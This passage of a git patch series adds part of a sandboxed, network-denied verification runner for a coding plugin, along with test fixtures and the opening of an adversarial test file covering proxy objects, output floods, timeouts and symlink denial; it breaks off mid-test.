+ return freezeRecord(capturedFreeze([ + 'config', 'gitdir', 'head_sha', 'refs', 'status', 'worktrees', + ]), { + head_sha: head, + status: outputs.status, + refs: outputs.refs, + config: outputs.config, + worktrees: outputs.worktrees, + gitdir: STRING_REPLACE(outputs.gitdir, /\s+$/gu, ''), + }); +} + +function defaultSpawn(file, args, options) { + if (options.shell !== false) deny('shell_content_denied', 'execution'); + if (options.networkMode !== 'deny') deny('network_allowlist_unsupported', 'execution.network'); + const confinementArgs = [ + '--user', '--pid', '--fork', '--net', '--', file, + ]; + for (let index = 0; index < args.length; index += 1) { + ARRAY_PUSH.call(confinementArgs, args[index]); + } + const spawnOptions = { + cwd: options.cwd, + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + detached: false, + }; + return NODE_SPAWN(UNSHARE_EXECUTABLE, confinementArgs, spawnOptions); +} + +async function defaultRmdirExact(record) { + await FS_RM(record.path, { recursive: true, force: false }); +} + +function defaultAdapter() { + return { + nowMs: defaultNowMs, + randomId: defaultRandomId, + tmpRoot: defaultTmpRoot, + lstat: (target, options) => FS_LSTAT(target, options ?? { bigint: true }), + mkdir: (target, options) => FS_MKDIR(target, options), + realpath: (target) => FS_REALPATH(target), + rmdirExact: defaultRmdirExact, + spawn: defaultSpawn, + killProcessGroup: defaultKillProcessGroup, + listDescendants: defaultListDescendants, + readGitIdentity: defaultReadGitIdentity, + }; +} + +function resolveAdapter(options, path) { + if (options === undefined) return defaultAdapter(); + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertClosedOwnKeys(options, OPTION_ALLOWED_KEYS, path); + if (!hasOwn(options, 'adapter')) return defaultAdapter(); + const adapter = optOwn(options, 'adapter'); + assertNotProxy(adapter, `${path}.adapter`); + if (adapter === null || typeof adapter !== 'object' || capturedIsArray(adapter)) { + deny('invalid_type', `${path}.adapter`); + } + let prototype; + try { + prototype = Object.getPrototypeOf(adapter); + } catch { + deny('exotic_prototype_denied', `${path}.adapter`); + } + if (prototype !== OBJECT_PROTOTYPE && prototype !== null) { + deny('exotic_prototype_denied', `${path}.adapter`); + } + assertClosedOwnKeys(adapter, ADAPTER_ALLOWED_KEYS, `${path}.adapter`); + const resolved = defaultAdapter(); + const keys = sortedCapturedKeys(adapter); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + const value = optOwn(adapter, key); + if (typeof value !== 'function') deny('invalid_type', `${path}.adapter.${key}`); + resolved[key] = value; + } + return resolved; +} + +function isPathInside(parent, child) { + if (parent === child) return true; + const relative = PATH_RELATIVE(parent, child); + return relative !== '' && !STRING_STARTS_WITH(relative, '..') && !PATH_IS_ABSOLUTE(relative); +} + +function encodeFsEntry(entry) { + return freezeRecord(capturedFreeze([ + 'dev', 'ino', 'mode', 'nlink', 'size', 'mtime_ns', 'ctime_ns', 'kind', + ]), { + dev: STRING(entry.dev), + ino: STRING(entry.ino), + mode: STRING(entry.mode), + nlink: STRING(entry.nlink), + size: STRING(entry.size), + mtime_ns: STRING(entry.mtimeNs), + ctime_ns: STRING(entry.ctimeNs), + kind: entry.isSymbolicLink() ? 'symlink' + : entry.isFile() ? 'file' + : entry.isDirectory() ? 'directory' + : 'special', + }); +} + +async function lstatOrDeny(adapter, target, path, code) { + let entry; + try { + entry = await adapter.lstat(target, { bigint: true }); + } catch { + deny(code, path); + } + return entry; +} + +async function assertExecutableSafe(adapter, executable) { + const entry = await lstatOrDeny(adapter, executable, 'request.intent.executable', 'executable_not_runnable'); + if (entry.isSymbolicLink()) deny('symlink_denied', 'request.intent.executable'); + if (!entry.isFile()) deny('special_file_denied', 'request.intent.executable'); + const mode = typeof entry.mode === 'bigint' ? Number(entry.mode & 0o111n) : entry.mode & 0o111; + if (mode === 0) deny('executable_not_runnable', 'request.intent.executable'); +} + +async function assertCandidateSafe(adapter, candidate) { + const entry = await lstatOrDeny( + adapter, candidate.repository, 'request.candidate.repository', 'candidate_unreadable', + ); + if (entry.isSymbolicLink()) deny('symlink_denied', 'request.candidate.repository'); + if (!entry.isDirectory()) deny('candidate_not_regular', 'request.candidate.repository'); + const gitPath = PATH_JOIN(candidate.repository, '.git'); + const gitEntry = await lstatOrDeny(adapter, gitPath, 'request.candidate.repository', 'candidate_unreadable'); + if (gitEntry.isSymbolicLink()) deny('symlink_denied', 'request.candidate.repository'); + if (!gitEntry.isDirectory() && !gitEntry.isFile()) { + deny('candidate_not_regular', 'request.candidate.repository'); + } + return { root: encodeFsEntry(entry), git: encodeFsEntry(gitEntry) }; +} + +async function snapshotCandidate(adapter, candidate, filesystem, pinExpectations) { + const git = await adapter.readGitIdentity(candidate.repository); + if (pinExpectations === true && candidate.expected_head_sha !== undefined + && !equalDigest(candidate.expected_head_sha, git.head_sha)) { + deny('candidate_identity_mismatch', 'request.candidate.expected_head_sha'); + } + const baseSha = candidate.expected_base_sha ?? git.head_sha; + if (pinExpectations === true && candidate.expected_base_sha !== undefined) { + assertBaseSha(baseSha, 'request.candidate.expected_base_sha'); + } + return freezeRecord(capturedFreeze([ + 'base_sha', 'config_digest', 'filesystem_digest', 'gitdir', 'head_sha', + 'refs_digest', 'status_digest', 'worktrees_digest', + ]), { + head_sha: git.head_sha, + base_sha: baseSha, + status_digest: sha256Hex(BUFFER_FROM(git.status, 'utf8')), + refs_digest: sha256Hex(BUFFER_FROM(git.refs, 'utf8')), + config_digest: sha256Hex(BUFFER_FROM(git.config, 'utf8')), + worktrees_digest: sha256Hex(BUFFER_FROM(git.worktrees, 'utf8')), + filesystem_digest: sha256Hex(BUFFER_FROM(canonicalJsonStringify(filesystem), 'utf8')), + gitdir: git.gitdir, + }); +} + +function assertUnchanged(before, after) { + const fields = [ + 'head_sha', 'base_sha', 'status_digest', 'refs_digest', 'config_digest', + 'worktrees_digest', 'filesystem_digest', 'gitdir', + ]; + for (let index = 0; index < fields.length; index += 1) { + const field = fields[index]; + if (!equalDigest(STRING(before[field]), STRING(after[field]))) { + deny(field === 'filesystem_digest' || field === 'head_sha' ? 'candidate_mutated' : 'candidate_race', + 'candidate'); + } + } +} + +function buildChildEnvironment(environment) { + const env = {}; + const entries = environment.entries; + for (let index = 0; index < entries.length; index += 1) { + const entry = entries[index]; + const name = entry.name; + if (capturedIncludes(DENIED_ENV_NAMES, name) || name === 'PATH') { + deny('env_name_denied', 'request.intent.environment'); + } + env[name] = entry.value; + } + return env; +} + +async function createWorkspace(adapter, candidate) { + const root = adapter.tmpRoot(); + if (typeof root !== 'string' || !PATH_IS_ABSOLUTE(root) || PATH_RESOLVE(root) !== root) { + deny('workspace_unreadable', 'workspace'); + } + const rootEntry = await lstatOrDeny(adapter, root, 'workspace', 'workspace_unreadable'); + if (rootEntry.isSymbolicLink() || !rootEntry.isDirectory()) deny('symlink_denied', 'workspace'); + const id = adapter.randomId(); + if (typeof id !== 'string' || !capturedTest(WORKSPACE_ID_PATTERN, id)) { + deny('workspace_unreadable', 'workspace'); + } + const workspacePath = PATH_JOIN(root, `${WORKSPACE_NAME_PREFIX}${id}`); + if (PATH_RESOLVE(workspacePath) !== workspacePath) deny('workspace_unreadable', 'workspace'); + if (isPathInside(candidate.repository, workspacePath) + || isPathInside(workspacePath, candidate.repository) + || workspacePath === root || workspacePath === '/' || workspacePath === candidate.repository) { + deny('workspace_overlap_denied', 'workspace'); + } + try { + await adapter.mkdir(workspacePath, { recursive: false, mode: WORKSPACE_MODE }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + const entry = await lstatOrDeny(adapter, workspacePath, 'workspace', 'workspace_unreadable'); + if (entry.isSymbolicLink()) deny('symlink_denied', 'workspace'); + if (!entry.isDirectory()) deny('special_file_denied', 'workspace'); + let resolved; + try { + resolved = await adapter.realpath(workspacePath); + } catch { + deny('workspace_unreadable', 'workspace'); + } + if (resolved !== workspacePath) deny('symlink_denied', 'workspace'); + return capturedFreeze({ + path: workspacePath, + root, + dev: entry.dev, + ino: entry.ino, + mode: entry.mode, + }); +} + +function assertExactWorkspace(record, entry, resolved) { + if (record.path === '/' || record.path === record.root) deny('cleanup_uncertain', 'cleanup'); + if (!isPathInside(record.root, record.path) || record.path === record.root) { + deny('cleanup_uncertain', 'cleanup'); + } + if (PATH_RELATIVE(record.root, record.path).includes('..')) deny('cleanup_uncertain', 'cleanup'); + if (entry.isSymbolicLink() || !entry.isDirectory()) deny('cleanup_uncertain', 'cleanup'); + if (entry.dev !== record.dev || entry.ino !== record.ino) deny('cleanup_uncertain', 'cleanup'); + if (resolved !== record.path) deny('cleanup_uncertain', 'cleanup'); +} + +async function removeExactWorkspace(adapter, record) { + if (record === undefined || typeof record.path !== 'string' || !PATH_IS_ABSOLUTE(record.path)) { + deny('cleanup_uncertain', 'cleanup'); + } + if (PATH_RESOLVE(record.path) !== record.path) deny('cleanup_uncertain', 'cleanup'); + const entry = await lstatOrDeny(adapter, record.path, 'cleanup', 'cleanup_uncertain'); + let resolved; + try { + resolved = await adapter.realpath(record.path); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + assertExactWorkspace(record, entry, resolved); + try { + await adapter.rmdirExact(record); + } catch (error) { + if (error && error.name === 'RunContractV1Error') throw error; + deny('cleanup_uncertain', 'cleanup'); + } +} + +function waitStreamEnded(stream) { + if (!stream || typeof stream.once !== 'function') return Promise.resolve(); + if (stream.readableEnded === true) return Promise.resolve(); + return new Promise((resolve) => { + let settled = false; + const done = () => { + if (settled) return; + settled = true; + resolve(); + }; + stream.once('end', done); + stream.once('close', done); + stream.once('error', done); + if (typeof stream.resume === 'function') stream.resume(); + }); +} + +function attachCappedStream(stream, maxBytes, onFlood) { + const chunks = []; + let size = 0; + let truncated = false; + const handle = (chunk) => { + if (truncated) return; + const buf = NodeBuffer.isBuffer(chunk) ? chunk : BUFFER_FROM(chunk); + const room = maxBytes - size; + if (buf.length > room) { + if (room > 0) ARRAY_PUSH.call(chunks, buf.subarray(0, room)); + size = maxBytes; + truncated = true; + onFlood(); + return; + } + ARRAY_PUSH.call(chunks, buf); + size += buf.length; + }; + if (stream && typeof stream.on === 'function') stream.on('data', handle); + return { + bytes: () => size, + truncated: () => truncated, + digest: () => sha256Hex(size === 0 ? BUFFER_ALLOC(0) : BUFFER_CONCAT(chunks)), + }; +} + +async function runApprovedOnce(adapter, intent, cwd, env, markSpawned) { + if (intent.timeout_ms < KILL_GRACE_MS) deny('out_of_range', 'request.intent.timeout_ms'); + const argv = []; + for (let index = 0; index < intent.argv.length; index += 1) { + ARRAY_PUSH.call(argv, intent.argv[index]); + } + markSpawned(); + let child; + try { + child = adapter.spawn(intent.executable, argv, { + cwd, + env, + shell: false, + networkMode: 'deny', + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + detached: false, + }); + } catch { + deny('resource_bound_unavailable', 'execution'); + } + if (!child || typeof child.on !== 'function') deny('resource_bound_unavailable', 'execution'); + let flooded = false; + let timedOut = false; + let killGrace; + const stdoutCap = attachCappedStream(child.stdout, intent.resources.max_output_bytes, () => { + flooded = true; + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + }); + const stderrCap = attachCappedStream(child.stderr, intent.resources.max_error_bytes, () => { + flooded = true; + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + }); + const timer = setTimeout(() => { + timedOut = true; + try { adapter.killProcessGroup(child.pid, 'SIGTERM'); } catch { /* already dead */ } + killGrace = setTimeout(() => { + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + }, KILL_GRACE_MS); + }, intent.timeout_ms); + let exit; + let stuckTimer; + try { + exit = await new Promise((resolve, reject) => { + let settled = false; + const finish = (value) => { + if (settled) return; + settled = true; + resolve(value); + }; + child.once('error', reject); + child.once('exit', (code, signal) => finish({ code, signal })); + stuckTimer = setTimeout(() => { + timedOut = true; + finish({ code: null, signal: null, stuck: true }); + }, intent.timeout_ms + KILL_GRACE_MS + STUCK_GRACE_MS); + }); + await Promise.race([ + Promise.all([waitStreamEnded(child.stdout), waitStreamEnded(child.stderr)]), + new Promise((resolve) => setTimeout(resolve, STUCK_GRACE_MS)), + ]); + } catch { + deny('resource_bound_unavailable', 'execution'); + } finally { + clearTimeout(timer); + if (killGrace !== undefined) clearTimeout(killGrace); + if (stuckTimer !== undefined) clearTimeout(stuckTimer); + } + const leftovers = await adapter.listDescendants(child.pid); + if (capturedIsArray(leftovers) && leftovers.length > 0) { + for (let index = 0; index < leftovers.length; index += 1) { + try { adapter.killProcessGroup(leftovers[index], 'SIGKILL'); } catch { /* best effort */ } + } + const still = await adapter.listDescendants(child.pid); + if (capturedIsArray(still) && still.length > 0) deny('escaped_descendants', 'execution'); + deny('escaped_descendants', 'execution'); + } + if (flooded || stdoutCap.truncated() || stderrCap.truncated()) deny('output_flood', 'execution'); + if (timedOut) deny('timeout', 'execution'); + const code = exit.code; + const signal = exit.signal; + const hasCode = code !== null && code !== undefined; + const hasSignal = signal !== null && signal !== undefined; + if (hasCode === hasSignal) deny('signal_ambiguous', 'execution'); + if (hasSignal) deny('signal_ambiguous', 'execution'); + if (typeof code !== 'number' || !NUMBER_IS_SAFE_INTEGER(code) || code < 0 || code > 255) { + deny('signal_ambiguous', 'execution'); + } + return { + exit_code: code, + signal: null, + stdout_bytes: stdoutCap.bytes(), + stderr_bytes: stderrCap.bytes(), + stdout_digest: stdoutCap.digest(), + stderr_digest: stderrCap.digest(), + stdout_truncated: false, + stderr_truncated: false, + }; +} + +function requireEnum(allowed, value, path) { + if (!capturedIncludes(allowed, value)) deny('invalid_format', path); + return value; +} + +function resultForExit(code) { + return requireEnum(REPORTED_RESULTS, code === 0 ? 'pass' : 'fail', 'outcome.result'); +} + +function freezeAcceptanceObservation(intent, run, durationMs) { + const payload = freezeRecord(capturedFreeze(['command_id', 'result']), { + command_id: intent.command_id, + result: resultForExit(run.exit_code), + }); + const outputDigest = sha256Hex(BUFFER_FROM(`${run.stdout_digest}:${run.stderr_digest}`, 'utf8')); + return freezeRecord(ACCEPTANCE_OBSERVATION_KEYS, { + fact_kind: requireEnum(FACT_KINDS, 'acceptance_results', 'facts.acceptance.fact_kind'), + status: requireEnum(FACT_STATUSES, 'verified', 'facts.acceptance.status'), + code: requireEnum(FACT_CODES, 'host_observed', 'facts.acceptance.code'), + subject: intent.command_id, + authority: requireEnum(FACT_AUTHORITIES, 'platform_acceptance_runner', 'facts.acceptance.authority'), + method: requireEnum(FACT_METHODS, 'approved_command_execution', 'facts.acceptance.method'), + input_digest: intent.plan_identity.digest, + output_digest: outputDigest, + exit_code: run.exit_code, + duration_ms: durationMs, + truncated: false, + payload, + payload_digest: payloadDigestOf(payload), + }); +} + +function freezeGitObservation(snapshot, durationMs, inputDigest) { + const payload = freezeRecord(capturedFreeze(['base_sha', 'head_sha']), { + base_sha: snapshot.base_sha, + head_sha: snapshot.head_sha, + }); + return freezeRecord(GIT_OBSERVATION_KEYS, { + fact_kind: requireEnum(FACT_KINDS, 'git_identity', 'facts.git_identity.fact_kind'), + status: requireEnum(FACT_STATUSES, 'verified', 'facts.git_identity.status'), + code: requireEnum(FACT_CODES, 'host_observed', 'facts.git_identity.code'), + subject: 'repository', + authority: requireEnum(FACT_AUTHORITIES, 'platform_git', 'facts.git_identity.authority'), + method: requireEnum(FACT_METHODS, 'read_only_no_changes', 'facts.git_identity.method'), + input_digest: inputDigest, + output_digest: snapshot.filesystem_digest, + exit_code: null, + duration_ms: durationMs, + truncated: false, + payload, + payload_digest: payloadDigestOf(payload), + }); +} + +function cloneObservation(observation, keys) { + const payloadKeys = sortedCapturedKeys(observation.payload); + const payloadValues = {}; + for (let index = 0; index < payloadKeys.length; index += 1) { + const key = payloadKeys[index]; + payloadValues[key] = observation.payload[key]; + } + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + values[key] = key === 'payload' ? freezeRecord(payloadKeys, payloadValues) : observation[key]; + } + return freezeRecord(keys, values); +} + +function freezeFacts(acceptance, git) { + return freezeList([ + cloneObservation(acceptance, ACCEPTANCE_OBSERVATION_KEYS), + cloneObservation(git, GIT_OBSERVATION_KEYS), + ]); +} + +function freezeOutcome(run, durationMs) { + return freezeRecord(OUTCOME_KEYS, { + result: resultForExit(run.exit_code), + exit_code: run.exit_code, + signal: null, + termination: 'exited', + duration_ms: durationMs, + stdout_bytes: run.stdout_bytes, + stderr_bytes: run.stderr_bytes, + stdout_digest: run.stdout_digest, + stderr_digest: run.stderr_digest, + stdout_truncated: false, + stderr_truncated: false, + }); +} + +function freezeCandidateAudit(snapshot) { + return freezeRecord(CANDIDATE_AUDIT_KEYS, { + head_sha: snapshot.head_sha, + base_sha: snapshot.base_sha, + unchanged: true, + status_digest: snapshot.status_digest, + refs_digest: snapshot.refs_digest, + config_digest: snapshot.config_digest, + worktrees_digest: snapshot.worktrees_digest, + filesystem_digest: snapshot.filesystem_digest, + }); +} + +export async function executeConstrainedVerificationV1(input, options = {}) { + const request = parseRequest(input, 'request'); + const adapter = resolveAdapter(options, 'options'); + const intent = request.intent; + const candidate = request.candidate; + await assertExecutableSafe(adapter, intent.executable); + const filesystemBefore = await assertCandidateSafe(adapter, candidate); + const before = await snapshotCandidate(adapter, candidate, filesystemBefore, true); + let workspace; + let spawned = false; + const markSpawned = () => { + if (spawned) deny('one_execution_only', 'execution'); + spawned = true; + }; + try { + workspace = await createWorkspace(adapter, candidate); + const env = buildChildEnvironment(intent.environment); + const started = adapter.nowMs(); + if (typeof started !== 'number' || !NUMBER_IS_SAFE_INTEGER(started) || started < 0) { + deny('clock_denied', 'execution'); + } + const run = await runApprovedOnce(adapter, intent, workspace.path, env, markSpawned); + const ended = adapter.nowMs(); + if (typeof ended !== 'number' || !NUMBER_IS_SAFE_INTEGER(ended) || ended < started) { + deny('clock_denied', 'execution'); + } + const durationMs = ended - started; + const filesystemAfter = await assertCandidateSafe(adapter, candidate); + const after = await snapshotCandidate(adapter, candidate, filesystemAfter, false); + assertUnchanged(before, after); + await removeExactWorkspace(adapter, workspace); + workspace = undefined; + const acceptance = freezeAcceptanceObservation(intent, run, durationMs); + const git = freezeGitObservation(after, durationMs, intent.plan_identity.digest); + const observations = freezeRecord(OBSERVATION_KEYS, { acceptance, git_identity: git }); + const body = freezeRecord(RECEIPT_BODY_KEYS, { + schema: CONSTRAINED_VERIFICATION_SCHEMA_ID, + version: CONSTRAINED_VERIFICATION_VERSION, + command_id: intent.command_id, + intent_identity: intent.plan_identity, + policy_identity: intent.policy_identity, + outcome: freezeOutcome(run, durationMs), + candidate_audit: freezeCandidateAudit(after), + cleanup: freezeRecord(CLEANUP_KEYS, { status: 'removed' }), + observations, + facts: freezeFacts(acceptance, git), + }); + const executionIdentity = digestOf(VERIFICATION_EXECUTION_DIGEST_LABEL, body); + return freezeRecord(RECEIPT_RESULT_KEYS, { + schema: body.schema, + version: body.version, + command_id: body.command_id, + intent_identity: body.intent_identity, + policy_identity: body.policy_identity, + execution_identity: executionIdentity, + outcome: body.outcome, + candidate_audit: body.candidate_audit, + cleanup: body.cleanup, + observations: body.observations, + facts: body.facts, + }); + } catch (error) { + if (workspace !== undefined) { + try { + await removeExactWorkspace(adapter, workspace); + } catch (cleanupError) { + if (cleanupError && cleanupError.name === 'RunContractV1Error') throw cleanupError; + deny('cleanup_uncertain', 'cleanup'); + } + } + throw error; + } +} + +export const CONSTRAINED_VERIFICATION_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: CONSTRAINED_VERIFICATION_SCHEMA_ID, + version: CONSTRAINED_VERIFICATION_VERSION, + label: VERIFICATION_EXECUTION_DIGEST_LABEL, + request_keys: REQUEST_ALLOWED_KEYS, + candidate_keys: CANDIDATE_ALLOWED_KEYS, + receipt_keys: RECEIPT_RESULT_KEYS, + git_executable: GIT_EXECUTABLE, + unshare_executable: UNSHARE_EXECUTABLE, + reported_results: REPORTED_RESULTS, + fact_kinds: capturedFreeze(['acceptance_results', 'git_identity']), + default_deny: capturedFreeze({ + shell: false, + env: capturedFreeze({}), + network: 'deny', + executions: 1, + }), +}); + +capturedFreeze(executeConstrainedVerificationV1); From 3064e38734666ac477d3a680a114b1cf026a9b5f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:33:07 +0000 Subject: [PATCH 082/151] test(verify): cover focused and adversarial runner surfaces Pin genuine-intent execution, exact argv, empty default env, host-observed fail vs stdout PASS, P13 fact projection, timeout/flood/signal/descendant fail-closed paths, candidate mutation and identity mismatch, exact workspace cleanup, default unshare network-deny execution, and hostile proxies, accessors, tampered receipts, allowlists, PATH lookup, and symlink/special-file denial. Tests inject spawn/Git/cleanup boundaries and use local fixtures only. --- ...nstrained-verification-runner-fixtures.mjs | 188 +++++++++ ...d-verification-runner-adversarial.test.mjs | 295 ++++++++++++++ ...1-constrained-verification-runner.test.mjs | 379 ++++++++++++++++++ 3 files changed, 862 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs new file mode 100644 index 0000000..0f1861e --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-constrained-verification-runner-fixtures.mjs @@ -0,0 +1,188 @@ +// Shared fixtures for the W16-P16C constrained verification-runner tests. +// Hostile local helpers and injected process/Git boundaries. No product +// imports beyond P16A/P16B and no real external network. + +import { EventEmitter } from 'node:events'; +import { chmod, lstat, mkdir, mkdtemp, realpath, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { PassThrough } from 'node:stream'; +import { execFile as execFileCallback } from 'node:child_process'; +import { promisify } from 'node:util'; + +import { resolveApprovedVerificationCommandV1 } from '../../mcp/v3/approved-verification-command.mjs'; +import { + countingProxy, + trapTotal, + validCommand, + validPolicy, +} from './r1-verification-policy-fixtures.mjs'; + +export { countingProxy, trapTotal, validCommand, validPolicy }; + +const execFile = promisify(execFileCallback); + +export const GIT_EXECUTABLE = '/usr/bin/git'; +export const TRUE_EXECUTABLE = '/usr/bin/true'; +export const HEAD_SHA_A = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; +export const HEAD_SHA_B = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; + +const GIT_ENV = { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P16C', + GIT_AUTHOR_EMAIL: 'p16c@example.test', + GIT_COMMITTER_NAME: 'P16C', + GIT_COMMITTER_EMAIL: 'p16c@example.test', + GIT_TERMINAL_PROMPT: '0', +}; + +export function gitIdentitySnapshot(overrides = {}) { + const head = overrides.head_sha ?? HEAD_SHA_A; + return { + head_sha: head, + status: '', + refs: `${head} refs/heads/main\n`, + config: 'user.email=p16c@example.test\n', + worktrees: `${overrides.gitdir ?? '/tmp/cce-p16c-candidate/.git'}\n`, + gitdir: overrides.gitdir ?? '/tmp/cce-p16c-candidate/.git', + ...overrides, + }; +} + +export function fakeChild(options = {}) { + const child = new EventEmitter(); + child.pid = options.pid ?? 4242; + child.stdout = new PassThrough(); + child.stderr = new PassThrough(); + child.killed = false; + child.kill = (signal) => { + child.killed = true; + if (options.hang === true && options.ignoreKill === true) return true; + const code = options.killCode === undefined ? null : options.killCode; + const sig = options.killSignal === undefined ? (signal ?? 'SIGTERM') : options.killSignal; + queueMicrotask(() => child.emit('exit', code, sig)); + return true; + }; + queueMicrotask(() => { + if (typeof child.emit === 'function') child.emit('spawn'); + if (options.stdout !== undefined) child.stdout.write(options.stdout); + if (options.stderr !== undefined) child.stderr.write(options.stderr); + if (options.floodBytes > 0) { + child.stdout.write(Buffer.alloc(options.floodBytes, 0x41)); + } + if (options.hang !== true) { + child.stdout.end(); + child.stderr.end(); + child.emit('exit', options.code ?? 0, options.signal ?? null); + } + }); + return child; +} + +export function recordingAdapter(overrides = {}) { + const calls = { + spawn: [], + mkdir: [], + rmdir: [], + kill: [], + }; + const adapter = { + nowMs: overrides.nowMs ?? (() => Date.now()), + randomId: overrides.randomId ?? (() => { + const bytes = new Uint8Array(16); + for (let index = 0; index < 16; index += 1) bytes[index] = Math.floor(Math.random() * 256); + return Buffer.from(bytes).toString('hex'); + }), + tmpRoot: overrides.tmpRoot ?? (() => path.resolve(tmpdir())), + lstat: overrides.lstat ?? ((target, options) => lstat(target, options ?? { bigint: true })), + mkdir: async (target, options) => { + calls.mkdir.push(target); + if (overrides.mkdir) return overrides.mkdir(target, options); + return mkdir(target, options); + }, + realpath: overrides.realpath ?? ((target) => realpath(target)), + rmdirExact: async (record) => { + calls.rmdir.push(record.path); + if (overrides.rmdirExact) return overrides.rmdirExact(record); + return rm(record.path, { recursive: true, force: false }); + }, + spawn: (file, args, options) => { + calls.spawn.push({ file, args, options }); + if (overrides.spawn) return overrides.spawn(file, args, options); + return fakeChild(overrides.child ?? {}); + }, + killProcessGroup: (pid, signal) => { + calls.kill.push({ pid, signal }); + if (overrides.killProcessGroup) return overrides.killProcessGroup(pid, signal); + }, + listDescendants: overrides.listDescendants ?? (async () => []), + }; + if (overrides.readGitIdentity) adapter.readGitIdentity = overrides.readGitIdentity; + else if (overrides.git) { + adapter.readGitIdentity = async () => overrides.git; + } + return { adapter, calls }; +} + +export async function makeTempRoot(prefix = 'cce-p16c-') { + return mkdtemp(path.join(tmpdir(), prefix)); +} + +export async function writeRunnable(file, body = '#!/bin/sh\nexit 0\n') { + await mkdir(path.dirname(file), { recursive: true }); + await writeFile(file, body, { encoding: 'utf8', mode: 0o755 }); + await chmod(file, 0o755); + return file; +} + +export async function initCandidateRepo(root) { + await mkdir(root, { recursive: true }); + await execFile(GIT_EXECUTABLE, ['init', '--initial-branch=main', root], { env: GIT_ENV }); + await execFile(GIT_EXECUTABLE, ['-C', root, 'config', 'user.email', 'p16c@example.test'], { env: GIT_ENV }); + await execFile(GIT_EXECUTABLE, ['-C', root, 'config', 'user.name', 'P16C'], { env: GIT_ENV }); + await writeFile(path.join(root, 'README'), 'p16c\n'); + await execFile(GIT_EXECUTABLE, ['-C', root, 'add', 'README'], { env: GIT_ENV }); + await execFile(GIT_EXECUTABLE, ['-C', root, 'commit', '-m', 'init'], { env: GIT_ENV }); + const { stdout } = await execFile( + GIT_EXECUTABLE, ['-C', root, 'rev-parse', 'HEAD'], { env: GIT_ENV }, + ); + return stdout.trim(); +} + +export function policyForExecutable(executable, overrides = {}) { + const command = { + executable, + argv_template: overrides.argv_template ?? ['ok'], + command_id: overrides.command_id ?? 'unit-tests', + }; + for (const key of ['timeout_ms', 'resources', 'environment', 'mutation', 'network', 'parameters']) { + if (Object.hasOwn(overrides, key) && overrides[key] !== undefined) { + command[key] = overrides[key]; + } + } + return validPolicy({ + commands: [validCommand(command)], + }); +} + +export function validSelection(overrides = {}) { + return { + command_id: 'unit-tests', + ...overrides, + }; +} + +export function genuineRequest({ policy, executable, candidate, selection, intentOverrides }) { + const resolvedPolicy = policy ?? policyForExecutable(executable); + const intent = resolveApprovedVerificationCommandV1({ + policy: resolvedPolicy, + selection: selection ?? validSelection(), + }); + return { + policy: resolvedPolicy, + intent: intentOverrides === undefined ? intent : { ...intent, ...intentOverrides }, + candidate, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs new file mode 100644 index 0000000..b517c61 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-constrained-verification-runner-adversarial.test.mjs @@ -0,0 +1,295 @@ +import assert from 'node:assert/strict'; +import { mkdir, rm, symlink } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { resolveApprovedVerificationCommandV1 } from '../mcp/v3/approved-verification-command.mjs'; +import { executeConstrainedVerificationV1 } from '../mcp/v3/constrained-verification-runner.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + TRUE_EXECUTABLE, + countingProxy, + genuineRequest, + gitIdentitySnapshot, + initCandidateRepo, + makeTempRoot, + policyForExecutable, + recordingAdapter, + trapTotal, + validPolicy, + validSelection, +} from './fixtures/r1-constrained-verification-runner-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(action) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +async function candidatePair() { + const root = await makeTempRoot(); + const candidate = path.join(root, 'candidate'); + const head = await initCandidateRepo(candidate); + return { root, candidate, head }; +} + +test('live and revoked proxies are denied with zero traps', async () => { + const { proxy, counts } = countingProxy({ + policy: validPolicy(), + intent: {}, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const { proxy: live, revoke } = Proxy.revocable({ + policy: validPolicy(), + intent: {}, + candidate: { repository: '/tmp/cce-p16c-candidate' }, + }, { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(live), true); + const revoked = await errorOf(() => 